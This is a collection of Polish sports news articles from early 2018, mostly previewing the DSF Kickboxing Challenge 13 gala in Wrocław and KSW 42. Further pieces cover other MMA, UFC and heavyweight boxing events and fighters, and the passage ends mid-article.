W ostatnich kilkunastu miesiącach 25-letni Maksymilian Bratkowicz rozwinął się w fenomenalny sposób. Niekonwencjonalne techniki, instynkt zabójcy i nokautujący cios doprowadziły go do złotego medalu na mistrzostwach świata K-1 w Budapeszcie. Teraz Maks ma tylko jeden cel – zrewanżować się Kubiszynowi za minimalną porażkę z grudnia 2016.
– Byk ostrzy rogi! Nigdy nie byłem tak dobrze przygotowany do walki. Jestem gotowy na 5 rund ostrej bitki – zapewnia wrocławianin. – Albo ja, albo on. Jeden na pewno padnie. Wszyscy wiedzą, że walczę do upadłego i zawsze pokazuję serce. Przyjdźcie do Hali Orbita i zobaczcie nowego mistrza wagi średniej!
Również Mateusz Kubiszyn jest dziś innym zawodnikiem niż podczas pierwszego starcia z Maksem. Z walki na walkę „Don Diego” jest coraz pewniejszy w formule K-1, choć największy dotychczasowy sukces (tytuł mistrza świata z 2015 roku) zdobył w Dublinie w Full Contakcie. Teraz zawodnik reprezentujący klub KKS Sporty Walki Poznań czuje się gotowy do pojedynku o pas federacji DSF Kickboxing Challenge.
Zobacz najlepsze nokauty na galach DSF Kickboxing Challenge >>>
– Walka mistrzowska wymaga zupełnie innego nastawienia mentalnego. Będzie trzeba umiejętnie rozkładać siły na 5 rund, ale jestem przygotowany. Maks ma w jednym rację, kibice zobaczą nowego mistrza. Życzę mu, żeby zostawił w ringu całego siebie. Czy będzie ogień? Na pewno, ja już powoli go rozpalam – zapewnia 26-letni Kubiszyn. – Niedługo będę pozdrawiał kibiców z ręką uniesioną ku górze i z nowym pasem mistrzowskim na biodrach!
Walka Bratkowicz-Kubiszyn II to dane główne gali DSF Kickboxing Challenge 13 we Wrocławiu. Stawką będzie pierwszy w historii federacji pas mistrzowski w kategorii średniej (-86 kg). Wcześniej odbędą się dwa pojedynki o tytuły mistrza świata WAKO PRO. W wadze junior półśredniej (-64,5 kg) Eliasz Janowski zmierzy się w K-1 z Białorusinem Yuriyem Zhukovskym, a w królewskiej kategorii ( 94,1 kg) w formule Low Kick polski czempion Michał Turyński będzie bronił swego trofeum w rewanżowym starciu z legendarnym Dzevadem „BH Machine” Poturakiem z Bośni i Hercegowiny. Wcześniej w DSF Kickboxing Challenge zadebiutuje znakomity Paweł Biszczak – do niedawna mistrz FEN. Po raz pierwszy w federacji wystąpią również m.in. Róża Gumienna oraz Dawid Żółtaszek, który nigdy wcześniej nie walczył w Polsce.
Zobacz zapowiedź walki Turyński-Poturak II >>>
Transmisję z gali DSF Kickboxing Challenge 13 z Hali Orbita we Wrocławiu przeprowadzi od godziny 20:00 telewizja Canal Sport. Poza granicami Polski kibice będą mogli oglądać imprezę całkowicie za darmo za pośrednictwem platformy DSFLIVE.com. Bilety w cenie od 40 PLN są dostępne na ticketclub.pl.
Ważne informacje dla dziennikarzy:
CEREMONIA WAŻENIA odbędzie się w Novotel Wrocław Centrum w piątek (2 lutego) o godzinie 10:00.
WNIOSKI O AKREDYTACJE prosimy przesyłać do środy 31 stycznia na adres pr@dsfchallenge.com.
Zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia przed galą DSK Kickboxing Challenge 13.
[kod]
3 lutego we wrocławskiej hali Orbita odbędzie się gala DSF Kickboxing Challenge 13. Jedną z gwiazd będzie Paweł Biszczak, który zadebiutuje w federacji Sławomira Duby. Naprzeciw 32-letniego fightera stanie Abdallah Mabel.
Transfer roku
Przejście Pawła Biszczaka do DSF to duże wydarzenie. 2018 rok federacja rozpoczęła z przytupem i podpisała umowę z zawodnikiem, który zdobywał mistrzostwo Polski w K-1 i zawodowe mistrzostwo Europy WKN. Ostatnio Biszczak związany był z federacją FEN, gdzie zasiadał na tronie wagi półśredniej. – FEN będę zawsze dobrze wspominać. Myślę, że nasza współpraca była oparta na przynoszeniu obopólnych korzyści dla jednej i drugiej strony. Swoją osobą wnosiłem wiele sportowych emocji. Na gale FEN przyjeżdżali moi fani, za co im z góry dziękuje, bo to dla mnie duże wsparcie. Zaś FEN dawał mi możliwość pokazania się na zawodowych galach w Polsce – podaje FighTime.pl Paweł Biszczak.
Prezes DSF Kickboxing Challenge Sławomir Duba otwarcie przyznaje, że nowy nabytek ma potencjał, aby stać się zawodnikiem na miarę takich legend jak Marek Piotrowski i Piotr Siegoczyński. Poprzeczka przed Biszczakiem jest zawieszona wysoko. Już sam fakt, że jego przejście do DSF określane jest jako „transfer roku” wywiera na nim dodatkową presję. Biszczak podkreśla, że jest gotów na kolejne wyzwania. – Może to zabrzmi nieskromnie, ale nie mam z tym żadnego problemu. Jestem sportowcem z krwi i kości. Dla mnie w tym wszystkim najważniejszy jest sport. Nie traktuję tego w kategorii „transfer roku”. Coś się kończy i coś zaczyna. W DSF będę dawał z siebie wszystko, podobnie jak wcześniej kiedy startowałem w zawodach i kiedy wchodziłem do ringu, nie tylko w FEN. DSF jest dla mnie czymś nowym, co zwiększa moją motywację do działania. Do każdej walki przygotowuję się na 100% i tak będzie w DSF. Dodatkowo, wiem, że w Federacja DSF Kickboxing Challenge stawia na naprawdę mocnych sportowców i przede wszystkim to mnie skłoniło do zawarcia współpracy – tłumaczy Biszczak.
Czas na debiut
3 lutego oczy wszystkich będą zwrócone na Pawła Biszczaka. Karta walk prezentuje się imponująco, ale debiut 32-latka w DSF przyciąga uwagę. – To walka na swoim terenie, pochodzę z Dolnego Śląska i tu przyjeżdża do mnie najwięcej moich kibiców. Mam nadzieję, że będzie tak i tym razem. Obecność moich fanów, kolegów, rodziny tylko mnie bardziej motywuje do działania. W dniu walki staram się wyciszyć, ale jak idę do ringu i słyszę wsparcie to tylko dodaje mi większego powera, choć wtedy ciężko słyszeć narożnik. A poza tym miejscowość, w której walczę nie ma żadnego znaczenia to nie o to chodzi – wyjaśnia zawodnik z Legnicy.
Fot. Paweł Biszczak Official Fanpage
KM
3 marca, już po raz piąty, Konfrontacja Sztuk Walki będzie gościła w łódzkiej Atlas Arenie. Organizacja odkrywa kolejne karty. Hitem ma być starcie Mameda Khalidova z Tomaszem Narkunem, gromy mogą posypać się w pojedynku Mateusza Gamrota z Grzegorzem Szulakowskim. Do debiutu szykują się Karolina Owczarz, Paulina Raszewska i Bartłomiej Kopera.
Polecą gromy?
Po raz pierwszy łódzka Atlas Arena gościła zawodników KSW we wrześniu 2010 roku. Na gali numer 14 Przemysław Saleta pokonał Marcina Najmana, a Mariusz Pudzianowski wygrał z Ericem Eschem. Właśnie w Łodzi po mistrzowski pas w kategorii półciężkiej sięgnął Jan Błachowicz (KSW 17), a Michał Materla został królem wagi średniej (KSW 19). 3 marca w Łodzi odbędzie się już 42 gala KSW, podczas której zaprezentują się czołowi zawodnicy organizacji.
Na myśl o walce wieczoru niektórym „cieknie ślinka”. Starcie mistrzów: Mameda Khalidova i Tomasza Narkuna ma być esencją tego, co najlepsze w polskim MMA. Obaj potrafią w niekonwencjonalnym sposób zakończyć pojedynek, są mistrzami w swoich kategoriach wagowych. Narkun ostatnich pięć walk kończył już w pierwszej rundzie, zaś Khalidov jeszcze nigdy nie przegrał w KSW.
Michał Materla przez długi czas musiał walczyć, jednak nie w oktagonie, a o wyjście na wolność. W końcu kibice mogli go podziwiać podczas KSW 40 w Dublinie, gdzie w drugiej rundzie zasypał ciosami Paulo Thiago i odniósł 25 zwycięstwo w karierze. W Łodzi rywalem Materli będzie Scott Askham, który ma doświadczenie z rywalizacji w UFC. W amerykańskiej organizacji przegrał m.in. z Krzysztofem Jotko. Ostatnio, na gali ACB 70, pokonał Luke’a Barnatta.
Nadszedł czas na rewanż. Tak z pewnością myśli Łukasz Jurkowski, który przygotowuje się do starcia z Martinem Zawadą. Polak przegrał z Niemcem na KSW 6. 34-letni Zawada wygrał dwie z ostatnich trzech walk. Ale poprzednie lata w jego wykonaniu to istna sinusoida. Z kolei Jurkowski powrócił do rywalizacji po sześcioletniej przerwie i na gali na PGE Narodowym pokonał Rameau Thierry’ego Sokoudjou.
W Łodzi pasa mistrzyni kategorii muszej będzie broniła Ariane Lpiski. 24-letnia Brazylijka nadal czeka na nazwisko rywalki. Ciekawie zapowiada się rywalizacja o pas wagi lekkiej. Mateusz Gamrot zmierzy się z Grzegorzem Szulakowskim. Wokół ostatniej walki czempiona wagi lekkiej było mnóstwo zamieszania. Najpierw Norman Parke nie zrobił wagi, a później doszło do awantury podczas pojedynku. Obaj zawodnicy zostali ukarani. Teraz Gamrot musi skoncentrować się na kolejnej obronie pasa mistrzowskiego i powstrzymać rozpędzonego Grzegorza Szulakowskiego. Urodzony w Namysłowie zawodnik wygrał wszystkie cztery walki w KSW, a ostatnio (KSW 41) efektowną skrętówką poddał Kamila Szymuszowskiego.
Na KSW 42 odbędzie się pojedynek Marcina Wójcika z doświadczonym Irlandczykiem Chrisem Fieldsem.
Debiuty
3 marca na gali KSW 42 nie może zabraknąć pięknych pań. Będzie Ariane Lipski, a po raz pierwszy w oktagonie zaprezentują się Karolina Owczarz i Paulina Raszewska. Pierwsza to była bokserka, a do niedawna dziennikarka sportowa. Jej rywalką będzie Paulina Raszewska, która ma spore doświadczenie w sportach walki. Trenerka KSW Cross Fight Gym ma na swoim koncie m.in. mistrzostwa Polski w sandzie.
Po raz pierwszy w KSW zaprezentuje się Bartłomiej Kopera. 25-latek z Łodzi ma za sobą przygodę z federacją FEN, w której wygrał trzy walki. W Łodzi Kopera zmierzy się z Filipem Wolańskim.
Fot. Mateusz Gamrot Facebook
KM
Przed Jakubem Kowalewiczem daleka podróż. 2 marca polski zawodnik MMA zaprezentuje się na gali Brave 10: The Kingdom Raises. Kowalkiewicz zmierzy się z Eliasem Boudegzdamem o pas wagi piórkowej.
24-latek, mający za sobą występy na galach KSW i FEN, nie będzie jedynym Polakiem, który wystąpi w Jordanii. Debiut w organizacji Brave zaliczy Paweł Kiełek.
Podróż po pas
Na początek dwa słowa o organizacji Brave. Powstała ona półtora roku temu w Bahrajnie. Dotychczas odbyło się dziewięć gal organizacji Brave.
Z dala od domu przyjdzie stoczyć Jakubowi Kowalewiczowi najważniejszą walkę w dotychczasowej karierze. 24-latek stanie przed szansą zdobycia pasa mistrzowskiego. Prawo do rywalizacji o tytuł zdobył w kwietniu 2017 roku, kiedy to na gali Brave 5 w Indiach na dystansie trzech rund okazał się lepszy od Alexa da Silvy. Była to trzecia wygrana Kowalewicza z rzędu. Wcześniej w pierwszych rundach Polak odprawił kolejno: Daniela Chrzanowskiego (gala WCA 2) i Leonida Smirnova (WCA 3). Wcześniej 24-latek z powodzeniem występował na galach KSW. Dla organizacji Martina Lewandowskiego i Macieja Kawulskiego stoczył cztery pojedynki, z których trzy wygrał.
Kowalewicz ma szansę odnieść największy sukces w dotychczasowej karierze. Wydaje się, że zawodnik jest gotowy na czekające go 2 marca wyzwanie. – Oficjalnie ! Gala 2 Marca – Jordania, walka wieczoru i o pas Federacji Brave! Brave Combat Federation dziękuje za tą szansę, zrobię wszystko, aby zabrać pas do Polski! – napisał Kowalewicz na swoim Facebooku.
Na gali w Jordanii Polak zmierzy się z Eliasem Boudegzdamem. 24-letni Francuz ma passę pięciu wygranych z rzędu. W kwietniu 2016 roku na gali Slava Republic 1 – Bojano Boudegzdam pokonał Krzysztofa Klaczka. Ostatnio Francuz, na gali Brave 4, okazał się lepszy od mającego za sobą występy w UFC Meksykanina Masio Fullena. W starciu z Boudegzdamem Kowalewicz musi być niezwykle czujny. Francuz jest do bólu skuteczny w parterze. Dwanaście z czternastu wygranych walk zakończył przez poddanie.
Po dziewiąte zwycięstwo
2 marca w Jordanii zaprezentuje się utalentowany Paweł Kiełek. Ostatnio 22-latek występował na galach organizacji ACB. 1 lipca ubiegłego roku w Ergo Arenie w drugiej rundzie rozbił Ireneusza Szydłowskiego. Wcześniej Kiełek walczył m.in. na galach organizacji Fight Exclusive Night.
W Jordanii Polak zmierzy się z Tyler'em Hillem. 26-letni Amerykanin miał okazję wystąpić na gali Bellator 162, gdzie przegrał z Wade'm Johnsonem.
fot. Kuba Kowalewicz Facebook
KM
Od kilku dni w powietrzu unosi się magia nazwiska Kownacki. Adam zwraca na siebie uwagę znakomitą postawą w ringu. Z kolei Dawid Kownacki na piłkarskim boisku coraz śmielej poczyna sobie w barwach Sampdorii Genua.
Obaj znaleźli się pod baczną obserwacją. O młodym piłkarzu wiadomo było, że ma spore możliwości. Z kolei Adam Kownacki przebił błonę anonimowości i wszyscy obserwują każdy kolejny krok pięściarza. Już pojawiają się głosy, że 28-latek jest na dobrej drodze do walki o pas.
Gromi wszystkich
Należyte wykonanie zadania sprawia człowiekowi satysfakcję. W przypadku kariery bokserskiej Adama Kownackiego możemy zaryzykować stwierdzenie, że swoją pracę wykonuje wręcz perfekcyjnie. Siedemnaście walk i wszystkie wygrane, w tym czternaście przed czasem. Miano niepokonanego i ciekawe wizje na przyszłość.
Adam Kownacki miał być dla Artura Szpilki swego rodzaju trampoliną. Po przegranej z Deontayem Wilderem w starciu o pas WBC, „Szpila” długo czekał na rywala. W końcu los skojarzył go z Kownackim. Potencjał pięściarza z Wieliczki oceniano wyżej, a zarazem podkreślano, że w jego przypadku zwycięstwo jest konieczne. Kownacki był gdzieś w tle, ale podkreślał, że znokautuje Szpilkę. Jak powiedział, tak zrobił. W czwartej rundzie mógł cieszyć się z wygranej. To starcie miało być przepustką dla pięściarza urodzonego w Łomży do innego bokserskiego wymiaru.
Po raz kolejny Kownacki pokazał swoją siłę w starciu z Gruzinem Iago Kiladze. Popularny "Babyface" do zwycięstwa potrzebował zaledwie sześciu rund. A to i tak dużo, bo aż trzynaście walk zakończył wcześniej! Dwukrotnie rywale nie przetrwali z Kownackim nawet minuty! Pięściarz przeważnie wygrywa w drugich rundach (sześć razy).Dotychczas trzech rywali przetrwało z Kownackim pełen dystans.
Przyszłość należy do niego?
Kownacki wykonuje dobrą robotę i ma spory potencjał, ale na chłodno trzeba oceniać jego obecne możliwości. Na walkę o pas mistrzowski musi jeszcze poczekać. Po pierwsze, konieczne jest nabycie właściwego doświadczenia. Po drugie, Kownacki ma pewne braki w obronie, które należy wyeliminować. Niektórzy zwracają również uwagę na nadwagę boksera. A to może mieć wpływ na jego kondycję.
Jedno jest jednak pewne. Kownacki potrafi przyłożyć i to jest jego atut, którym będzie straszył kolejnych rywali. Kilku musi jeszcze „położyć”, żeby znaleźć się w gronie kandydatów do mistrzowskich pasów wagi ciężkiej.
Fot. Adam Kownacki Facebook
KM
Znamy nazwisko zawodnika, z którym zmierzy się Krzysztof Kułak (29-15-2, 7 KO, 15 SUB) podczas gali Fight Exclusive Night 20 "Next Level". Naprzeciwko częstochowianina zobaczymy Michała Tarabańkę (3-6, 1 KO, 1 SUB).
Kułak to weteran polskiego MMA i jeden z prekursorów mieszanych sztuk walki w naszym kraju. W Warszawie zadebiutuje pod szyldem FEN i zamierza rządzić w kategorii średniej. „Model” jest pewny siebie i deklarował kilka tygodni temu, że może skonfrontować się z każdym przeciwnikiem, a z Tarabańką już raz walczył, w maju 2017 roku, i wygrał przez poddanie w drugiej rundzie. Kułak ma na swoim koncie 29 zwycięstw, z czego aż 15 poddań. Efektowność, z jaką kończy kolejne walki, będzie w Warszawie jego największym atutem.
Tarabańka ostatnim razem w klatce pojawił się właśnie w pojedynku z Kułakiem. Teraz jego celem jest zwyciężenie w rewanżu i pokazanie się z dobrej strony podczas swojego debiutu pod szyldem FEN. W przeszłości zawodnik ten pokonywał takich rywali, jak Łukasz Uliński, Tomasz Dybowski i Yuri Bybochkin. Tarabańka podkreśla, że najlepsze dopiero przed nim, a od Warszawy zacznie swoją drogę na szczyt w kategorii średniej w FEN.
Karta walk FEN 20:
*Pojedynki, w których stawką będą pasy mistrzowskie federacji FEN.
Bilety na galę Fight Exclusive Night „Next Level” można nabyć TUTAJ.
W organizacji DSF Kickboxing Challenge pojawił się kolejny znany zawodnik. Kontrakt z federacją podpisał Karol Celiński.
To kolejny „głośny transfer” DSF. Wcześniej umowy z organizacją podpisali Daniel Omielańczuk, Marcin Różalski i Paweł Biszczak.
Ciężkie działa
Można powiedzieć, że organizacja DSF Kickboxing Challenge szaleje. W grudniu na gali w warszawskiej restauracji Champions Sports Bar kibice mogli podziwiać w akcji Daniela Omielańczuka. Zawodnik postanowił wrócić do korzeni i stanąć do rywalizacji w K-1. Jeszcze kilka miesięcy temu śledziliśmy jego pojedynki w organizacji UFC. W Warszawie Omielańczuk, na dystansie trzech rund, wypunktował Oli Thompsona.
3 lutego we Wrocławiu na gali DSF 13 zadebiutuje Paweł Biszczak, który ostatnio występował na eventach Fight Exclusive Night. Nową postacią w organizacji jest również Marcin Różalski. Pierwszą walkę dla DSF popularny "Różal" stoczy 13 kwietnia.
Organizacja Sławomira Duby nadal zbroi się. W piątek, 19 stycznia, kontraktem związał się doświadczony Karol Celiński. – Znakomity Karol "Cebula" Celiński, który wygrywa walkę za walką w federacji @ACB_League, dołącza dziś do najsilniejszej federacji kickbokserskiej w Polsce i będzie walczył zawodowo w K-1! – poinformowała organizacja na Twitterze.
Karol Celiński ma 37 lat. Zawodnik urodzony w Olsztynie szerszej publiczności znany jest z występów w KSW, gdzie stoczył trzy walki. Wygrał tylko jedną, ale starcie Celińskiego z Tomaszem Kondraciukiem zostanie na długo zapamiętane. Ostatnio 37-latek z powodzeniem rywalizował w rosyjskiej organizacji ACB. Celiński zapisał na swoim koncie trzy zwycięstwa. W ostatnim starciu w Moskwie pokonał Maksima Futina w pojedynku, który był eliminatorem do walki o pas w wadze półciężkiej.
Czas na Wrocław
Kolejna gala DSF Kickboxing Challenge odbędzie się już 3 lutego we Wrocławiu. Niemalże tradycją stały się mecze międzypaństwowe. W stolicy Dolnego Śląska Polacy zmierzą się z Czechami. Kibiców czeka pięć emocjonujących walk, w tym debiut Róży Gumiennej, która zmierzy się z Lucie Mlejnkovą.
We Wrocławiu dojdzie do trzech mistrzowskich pojedynków. O pas WAKO Pro w K-1 w kategorii 64,5kg powalczą Eliasz Jankowski i Yuriy Zhukovsky. Niezwykle interesująco zapowiada się starcie Michała Turyńskiego i Dzevada Poturaka. Blisko dwa lata temu Polak odebrał Bośniakowi tytuł mistrza świata WAKO Pro wagi superciężkiej. Głównym wydarzeniem wieczoru będzie starcie Maksymiliana Bratkowicza i Mateusza Kubiszyna o pas DSF w kategorii do 86kg.
KM
Cristiane Justino czeka na drugą obronę pasa mistrzowskiego UFC w kategorii piórkowej. Możliwe, że 32-letnia Brazylijka zmierzy się ze swoją rodaczką – Amandą Nunes. Na walkę o pas czeka również Joanna Jędrzejczyk, która utraciła tytuł najlepszej w wadze słomkowej na rzecz Rose Namajunas.
Wszystko jest "palcem na wodzie pisane", bo brakuje konkretów. W obu przypadkach "coś w trawie piszczy", a więc obok takich informacji nie można przejść obojętnie.
Wojowniczki z Brazylii
Cristiane Justino nikomu nie trzeba przedstawiać. Brazylijka uchodzi za najlepszą wojowniczkę na świecie i w kolejnych walkach potwierdza swoje umiejętności. W każdej organizacji, w której przyszło jej toczyć boje zostawała mistrzynią. Pas straciła tylko raz, ale nie w oktagonie, lecz przez… doping. W grudniu 2011 roku, jeszcze w Strikeforce, popularna "Cyborg" walczyła z Hiroko Yamanaką. Kilka tygodni później Brazylijka została ukarana, bo badania antydopingowe wykazały obecność stanozololu w jej organizmie. Straciła tytuł, została zdyskwalifikowana i wróciła dopiero w 2013 roku. Szybko podbiła kategorię piórkową w organizacji Invicta. Justino stała się gwiazdą pierwszego planu i naturalne było, że prędzej czy później trafi do UFC.
W najlepszej organizacji MMA na świecie zadebiutowała w maju 2016 roku na gali w Kurytybie. Wygrała już w pierwszej rundzie z Leslie Smith. W lipcu ubiegłego roku pokonała Tonyę Evinger, dzięki czemu sięgnęła po mistrzostwo wagi piórkowej. Od powrotu po wpadce dopingowej, była to jej ósma walka i ósma wygrana przed czasem! Wydawało się, że Justino nikt nie zatrzyma. W grudniu opór stawiła jej Holly Holm, która spędziła w oktagonie pięć rund, ale pas nie był jej dany.
W drugiej obronie tytułu Justino może spotkać się z Amandą Nunes. 29-latka urodzona w Salvadorze jest mistrzynią wagi koguciej. Tytuł wywalczyła w lipcu 2016 roku, kiedy przez duszenie zza pleców w pierwszej rundzie pokonała Meshę Tate. Brazylijka dwukrotnie broniła pasa. Warto dodać, że Nunes ma passę sześciu wygranych z rzędu.
Starcie Brazylijek stanowiłoby kumulację tego, co najlepsze w kobiecym MMA. W końcu spotkałyby się dwie mistrzynie, jednak na razie poruszamy się na płaszczyźnie przypuszczeń. Portal combate.com podał, że Justino i Nunes miałyby spotkać się 26 maja na gali UFC 224 w Rio de Janeiro.
Kiedy Polka wróci do gry?
Interesujące są również losy pasa wagi słomkowej, który znajduje się w posiadaniu Rose Namajunas. 25-latka niespodziewanie sięgnęła po mistrzostwo pokonując podczas UFC 217 Joannę Jędrzejczyk. Dla Polki była to pierwsza porażka w karierze. Cały czas mówi się o rewanżu. "Jaskółki ćwierkają", że starcie Namajunas z Jędrzejczyk mogłoby się odbyć 7 kwietnia na gali UFC 223.
KM
3 lutego najlepszy kickboxing w Polsce zagości we Wrocławiu – kolebce tego sportu nad Wisłą. Na gali DSF Kickboxing Challenge 13 zobaczymy w akcji śmietankę lokalnej sceny kickbokserskiej. Oprócz walk z udziałem miejscowych gwiazd odbędą się aż trzy pojedynki mistrzowskie: dwa o światowy czempionat WAKO PRO i jako główna atrakcja wieczoru – starcie o pierwszy w historii pas DSF Kickboxing Challenge w kategorii do 86 kilogramów. Oto pełna karta walk!
Federacja stworzona przez Sławomira Duba zanotowała w ostatnim czasie kilka bardzo istotnych wzmocnień. W ubiegłym roku dołączyli m.in. Marcin Różalski i Daniel Omielańczuk, a na początku 2018 roku ujawnione zostały kolejne duże transfery.
Na DSF Kickboxing Challenge 13 dojdzie do debiutu kilku zawodników znanych z udanych występów w innych federacjach. Po raz pierwszy na imprezie krajowego lidera zaprezentują się między innymi mistrzowie FEN – Paweł Biszczak (75 kg) oraz Róża Gumienna (65 kg), która zapowiada, że godnie zastąpi Dorotę Godzinę na tronie królowej polskiego kickboxingu.
We Wrocławiu odbędzie się także wyczekiwany debiut w Polsce Dawida Żółtaszka. Kickbokser mieszkający na stałe w Anglii walczy z powodzeniem na całym świecie, lecz nie miał jeszcze okazji pokazać się własnej publiczności. Za sprawą DSF Kickboxing Challenge otrzyma tę szansę w mieście, z którego pochodzi.
– To dla mnie podwójnie ekscytujące wydarzenie. Nie dość, że debiut w Polsce i w federacji DSF Kickboxing Challenge, to jeszcze dojdzie do tego na moim własnym podwórku we Wrocławiu. Już nie mogę się doczekać tej walki. Zapraszam na nią wszystkich kibiców, którzy od dawna chcą mnie zobaczyć na żywo w akcji! – mówi zachwycony Żółtaszek.
W walce wieczoru zmierzy się dwóch amatorskich mistrzów świata. Złoty medalista mistrzostw świata K-1 sprzed dwóch miesięcy Maksymilian Bratkowicz (Gym-Fight Wrocław) postara się zrewanżować Mateuszowi Kubiszynowi (KKS Sporty Walki Poznań) za minimalną porażkę z grudnia 2016 roku. W ciągu kilkunastu miesięcy obaj poczynili ogromne postępy. Kto będzie górą 3 lutego w Hali Orbita we Wrocławiu?
DSF Kickboxing Challenge 13 – KARTA WALK:
Walki w formule K-1 transmitowane przez Player.pl (3 x 3 min)
K-1 (-60 kg) Krystian Bernatowicz vs Dominik Tomica
K-1 (-71 kg) Tomasz Brotoń vs Mateusz Brusiło
Mecz międzynarodowy w K-1: Polska kontra Czechy (5 walk 3 x 3 min)
1. K-1 (-71 kg) Paweł Józefowicz vs Denis Farkas
2. K-1 (-91 kg) Marcin Bachórz vs Adam Audy
3. K-1 (-75 kg) Dominik Zadora vsAnatoli Hunanyan
4. K-1 (-65 kg) Róża Gumienna vsLucie Mlejnkova
5. K-1 (-71 kg) Adam Gielata vsTadeas Ruzicka
Walki rankingowe w K-1 (3 x 3 min)
K-1 ( 91 kg) Dawid Żółtaszek vsŁukasz Lipniacki
K-1 (-75 kg) Paweł Biszczak vsAbdallah Mabel (Francja/Kamerun)
Walka o pas mistrza świata WAKO PRO w formule K-1 (5 x 3 min)
K-1 (-64,5 kg) Eliasz Jankowski vs Yuriy Zhukovsky (Białoruś)
Walka o pas mistrza świata WAKO PRO w formule Low Kick (5 x 3 min)
Low Kick ( 94,1 kg) Michał Turyńskivs Dzevad Poturak (Bośnia i Hercegowina)
Walka wieczoru o pas DSF Kickboxing Challenge (5 x 3 min)
K-1 (-86 kg) Maksymilian Bratkowicz vs Mateusz Kubiszyn
Transmisję z gali DSF Kickboxing Challenge 13 z Hali Orbita we Wrocławiu przeprowadzi telewizja Canal Sport oraz platformy Player.pl i DSFLIVE.com dostępna za darmo wszędzie poza granicami Polski. Bilety w cenie od 40 PLN są dostępne na ticketclub.pl.
Takie pytanie nasuwa się, gdy myślimy o marcowych starciach mistrzowskich w wadze ciężkiej. 3 marca w Barclays Center Deontay Wilder zmierzy się z Luisem Ortizem, zaś 31 marca dojdzie do pojedynku Anthony’ego Joshuy z Josephem Parkerem.
Temperatura rośnie z każdym dniem. Wiosna zapowiada się niezwykle ciekawie, ale to, co najlepsze może dopiero nadejść.
Atmosfera się nakręca
Wokół starcia Wildera i Ortiza musi być gorąco. Innej możliwości nie ma. To nie jest spotkanie dżentelmenów i dyskusja pełna uprzejmości, lecz zdecydowane szarże słowne i pewność siebie z każdej strony. Wilder i Ortiz czują moc, jednak 3 marca jednemu z nich jej zabraknie.
Na pojedynek Amerykanina i Kubańczyka trzeba było trochę poczekać. Walka miała odbyć się jesienią zeszłego roku, dokładnie 4 listopada w Nowym Jorku. Kubański pięściarz został przyłapany na stosowaniu dopingu, pojedynek odwołano. Jednak kilka tygodni później Luis Ortiz został oczyszczony z zarzutów przez federację WBC. Temat walki potężnego „King Konga” z mistrzem świata WBC ponownie wrócił na pierwszy plan. Fani boksu dostaną to, czego chcą i 3 marca w Barclays Center w Nowym Jorku ujrzą dwóch głodnych rywalizacji i zdeterminowanych pięściarzy.
Jak zawsze Wilder jest pewny swego. W końcu 38 z 39 walk wygrał przed czasem. Dotychczas sześciokrotnie bronił mistrzowskiego tytułu. Amerykanin nie ma wątpliwości, że Ortiz będzie jego kolejną ofiarą. – Wygram swoją walkę, znokautuję Ortiza. Zrobię to, co do mnie należy. Jestem artystą nokautu – powiedział Deontay Wilder.
Z kolei Luis Ortiz w Nowym Jorku stanie przed życiową szansą. 38-letni Kubańczyk będzie miał szansę zdobyć pas mistrzowski WBC. W swojej karierze był posiadaczem tymczasowego tytułu WBA, jednak z powodu wykrycia w jego organizmie sterydu anabolicznego został zawieszony na osiem miesięcy i stracił swoją zdobycz. Po licznych perturbacjach Ortiz stanie przed zadaniem pokonania Wildera. – Czekają go największe kłopoty w życiu. Nie takie jak znaleziono u niego trawkę. Obedrę go ze skóry – zapowiada Luis Ortiz.
Nieco spokojniej
Druga wielka walka w wadze ciężkiej zapowiada się równie ciekawie. Na szali pojawią się pasy mistrzowskie IBF, IBO, WBA i WBO. Joseph Parker nazwał Joshuę "królem sterydów". Jednak promotor Nowozelandczyka jest innego zdania i zaleca mu, aby ten skupił się na innych rzeczach. Z kolei Joshua już ma pomysł na Parkera, który słynie z mocnej szczęki. 28-latek z Watfordu planuje obijać korpus rywala.
31 marca w Cardiff nie powinno być nudno. Wtedy już Wilder bądź Ortiz będą wypatrywać potencjalnego rywala o prymat w wadze ciężkiej.
KM
Zapraszamy do obejrzenia filmu podsumowującego pracę PZKb w roku 2017. Film premierę miał podczas Balu Mistrzów Kickboxingu w Węgrowie 13 stycznia 2017.
[kod]
Porażka z Roberto Soldiciem była dla Borysa Mańkowskiego niezwykle kosztowna. W Katowicach popularny "Diabeł Tasmański" stracił pas mistrza KSW w wadze półśredniej. Zawodnik nie szuka usprawiedliwień i porażkę bierze na siebie.
Borys Mańkowski stał się jedną z najpopularniejszych twarzy KSW. W maju 2017 roku wystąpił w walce wieczoru gali KSW 39 Colosseum na stadionie PGE Narodowy w Warszawie, gdzie przegrał z Mamedem Khalidovem. Z kolei porażka z Soldiciem zepchnęła go z piedestału.
Nie szuka wymówek
Sześć kolejnych wygranych sprawiło, że Mańkowski dołączył do grona pierwszoplanowych postaci KSW. W maju 2014 roku sięgnął po pas mistrzowski w wadze półśredniej pokonując Aslambeka Saidowa. Tym samym zrewanżował się czeczeńskiemu zawodnikowi za wcześniejszą porażkę. Trzy razy skutecznie bronił pasa, dwa pojedynki zakończył przed czasem. W maju 2017 roku stanął przed prawdziwym wyzwaniem. Na stadionie PGE Narodowy zmierzył się z legendą KSW Mamedem Khalidovem, jednak przegrał na punkty. Mańkowski musiał przełknąć gorycz porażki, ale nadal pozostawał mistrzem, bo stawką rywalizacji z czempionem kategorii średniej nie był żaden pas.
W Katowicach, KSW 41, "Diabeł Tasmański" miał sprawić sobie prezent świąteczny. Ale Roberto Soldić go powstrzymał. Od początku walki Chorwat znakomicie pracował nogami. Mańkowski nie był w stanie zagrozić rywalowi, który konsekwentnie go punktował. W trzeciej rundzie walka toczyła się w parterze, a twarz Polaka była zalana krwią. Po jej zakończeniu, narożnik Mańkowskiego zdecydował o poddaniu pojedynku. Nadszedł czas na wnioski. Głos zabrał sam Mańkowski. – Wróciłem z Tajlandii, od walki minęły 3 tygodnie i jest to odpowiedni czas, by coś napisać na temat ostatniej gali. Jak sami wiecie przegrałem… Nie chce się za bardzo tłumaczyć, szukać wymówek i się żalić nad zaistniałą sytuacją, ale coś powiedzieć trzeba. W pierwszej kolejności, pomimo w tym momencie -porażki – sportowej, jak i mojej osobistej, chciałbym podziękować osobom, które były dla mnie ogromnym wsparciem zarówno przed, jak i po gali – napisał zawodnik na swoim Facebooku.
Iść do przodu
